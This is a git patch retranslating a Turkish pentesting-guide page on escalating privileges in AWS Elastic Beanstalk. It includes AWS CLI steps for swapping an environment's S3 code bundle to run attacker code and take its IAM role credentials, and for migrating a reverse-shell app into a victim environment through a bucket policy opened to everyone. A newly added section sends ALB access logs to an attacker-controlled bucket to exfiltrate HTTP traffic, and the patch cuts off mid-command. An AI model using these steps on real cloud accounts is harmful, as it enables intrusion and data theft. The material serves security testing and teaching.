From 413c0857e20434460c0f1c64f82fb8499b4e6b6b Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 18 May 2026 15:35:01 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat --- .../aws-elastic-beanstalk-privesc/README.md | 113 +++++++++++++++--- 1 file changed, 99 insertions(+), 14 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md index 26f358728..a43648ef6 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md @@ -4,18 +4,18 @@ ## Elastic Beanstalk -Elastic Beanstalk hakkında daha fazla **bilgi** için: +More **info about Elastic Beanstalk** in: {{#ref}} ../../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} > [!WARNING] -> Beanstalk'ta hassas eylemler gerçekleştirebilmek için birçok farklı serviste çok sayıda hassas izne sahip olmanız gerekir. Örneğin **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** ile verilen izinleri kontrol edebilirsiniz. +> Beanstalk’ta hassas işlemler gerçekleştirebilmek için, **birçok farklı service içinde çok sayıda hassas permission** gerekir. Örneğin **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** ile verilen permission’ları kontrol edebilirsiniz ### `elasticbeanstalk:RebuildEnvironment`, S3 write permissions & many others -Ortamın **code**'unu içeren S3 bucket üzerinde **yazma izinleri** ve uygulamayı **yeniden oluşturma** izinlerine sahip olduğunuzda (`elasticbeanstalk:RebuildEnvironment` ve `S3`, `EC2` ve `Cloudformation` ile ilgili birkaç ek izin gereklidir), **code**'u **değiştirebilir**, uygulamayı **yeniden oluşturabilir** ve uygulamaya bir sonraki erişiminizde **yeni code**'unuz çalıştırılacaktır; bu da saldırganın uygulamayı ve uygulamanın IAM rolünün kimlik bilgilerini ele geçirmesine olanak tanır. +**Environment** içindeki **code**’un bulunduğu **S3 bucket** üzerinde **write permissions** ve application’ı **rebuild** etme permission’larıyla ( `elasticbeanstalk:RebuildEnvironment` ve `S3`, `EC2` ve `Cloudformation` ile ilgili birkaç permission daha gerekir), **code**’u **modify** edebilir, app’i **rebuild** edebilir ve uygulamaya bir sonraki erişimde **yeni code**’unuzu **execute** etmesini sağlayabilirsiniz; bu da attacker’ın application’ı ve onun IAM role credentials’ını compromise etmesine izin verir. ```bash # Create folder mkdir elasticbeanstalk-eu-west-1-947247140022 @@ -30,39 +30,39 @@ aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247 # Rebuild env aws elasticbeanstalk rebuild-environment --environment-name "env-name" ``` -### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, ve daha fazlası... +### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, and more... -Bahsedilenlerin yanı sıra birkaç **`S3`**, **`EC2`**, **`cloudformation`**, **`autoscaling`** ve **`elasticloadbalancing`** izni, sıfırdan ham bir Elastic Beanstalk senaryosu oluşturmak için gereklidir. +Mentioned olanlar ile birlikte birkaç **`S3`**, **`EC2`, `cloudformation`** ,**`autoscaling`** ve **`elasticloadbalancing`** izinleri, sıfırdan ham bir Elastic Beanstalk senaryosu oluşturmak için gereklidir. -- Bir AWS Elastic Beanstalk uygulaması oluşturun: +- Bir AWS Elastic Beanstalk application oluşturun: ```bash aws elasticbeanstalk create-application --application-name MyApp ``` -- Bir AWS Elastic Beanstalk ortamı oluşturun ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)): +- Bir AWS Elastic Beanstalk environment oluşturun ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)): ```bash aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role ``` -Bir ortam zaten oluşturulmuşsa ve **yeni bir tane oluşturmak istemiyorsanız**, mevcut olanı sadece **güncelleyebilirsiniz**. +Eğer bir environment zaten oluşturulmuşsa ve **yeni bir tane oluşturmak istemiyorsanız**, mevcut olanı **güncelleyebilirsiniz**. -- Uygulama kodunuzu ve bağımlılıklarınızı bir ZIP dosyasına paketleyin: +- Uygulama kodunuzu ve dependencies’inizi bir ZIP dosyası içine paketleyin: ```python zip -r MyApp.zip . ``` -- ZIP dosyasını bir S3 bucket'a yükleyin: +- ZIP dosyasını bir S3 bucket’a upload edin: ```python aws s3 cp MyApp.zip s3://elasticbeanstalk--/MyApp.zip ``` -- AWS Elastic Beanstalk uygulama sürümü oluşturun: +- Bir AWS Elastic Beanstalk application version oluşturun: ```css aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk--",S3Key="MyApp.zip" ``` -- Uygulama sürümünü AWS Elastic Beanstalk ortamınıza dağıtın: +- Uygulama sürümünü AWS Elastic Beanstalk environment'ınıza deploy edin: ```bash aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0 ``` ### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses` -Her şeyden önce, önceki adımları takip ederek **victim** üzerinde çalıştırmak istediğiniz **kod** ile bir **legit Beanstalk environment** oluşturmanız gerekiyor. Muhtemelen şu **2 dosyayı** içeren basit bir **zip**: +Öncelikle, **önceki adımları** izleyerek **victim** üzerinde çalıştırmak istediğiniz **code** ile **meşru bir Beanstalk environment** oluşturmanız gerekir. Muhtemelen şu **2 file** içeren basit bir **zip** yeterlidir: {{#tabs }} {{#tab name="application.py" }} @@ -111,7 +111,7 @@ Werkzeug==1.0.1 {{#endtab }} {{#endtabs }} -Kendi **Beanstalk env**'inizde rev shell'iniz çalışır hale geldiğinde, onu **hedef** env'e **taşımak** zamanı. Bunu yapmak için kendi Beanstalk S3 bucket'ınızın **Bucket Policy**'sini güncellemeniz gerekiyor, böylece **hedef erişebilsin** (Bu, Bucket'ı **HERKES**'e **açacaktır**): +Kendi **Beanstalk env**’inizi **rev shell** çalıştırırken, onu **victim**’in env’sine **migrate** etme zamanı. Bunun için, beanstalk S3 bucket’ınızın **Bucket Policy**’sini, **victim**’in ona erişebilmesi için **update** etmeniz gerekir (Bunun **Bucket**’ı **EVERYONE** için açacağını unutmayın): ```json { "Version": "2008-10-17", @@ -162,4 +162,89 @@ Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBe The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections. ``` +### `elasticbeanstalk:DescribeEnvironmentResources`, `elasticloadbalancing:ModifyLoadBalancerAttributes`, `s3:PutBucketPolicy`, `s3:ListBucket`, `s3:GetObject` ALB access logs exfiltration'ı etkinleştirmek için + +Bir saldırgan bir Elastic Beanstalk **web** ortamını **enumerate** edebilir, onu **update** edebilir ve ayrıca sahip olduğu bir S3 bucket'ın **policy**'sini **control** edebiliyorsa, **ALB access logs**'u etkinleştirip onları bu bucket'a yönlendirerek **HTTP traffic**'i **exfiltrate** edebilir. + +> [!NOTE] +> Bu teknik ayrıca ALB log delivery service'in log'ları oraya yazabilmesi için **destination bucket policy**'sini **modify** etme yeteneği de gerektirir. + +ALB log delivery service'in oraya yazabilmesi için bir **attacker-controlled bucket** hazırlayın: +```bash +ENV_NAME= +LOG_BUCKET= +LOG_PREFIX= +cat > /tmp/alb-log-policy.json <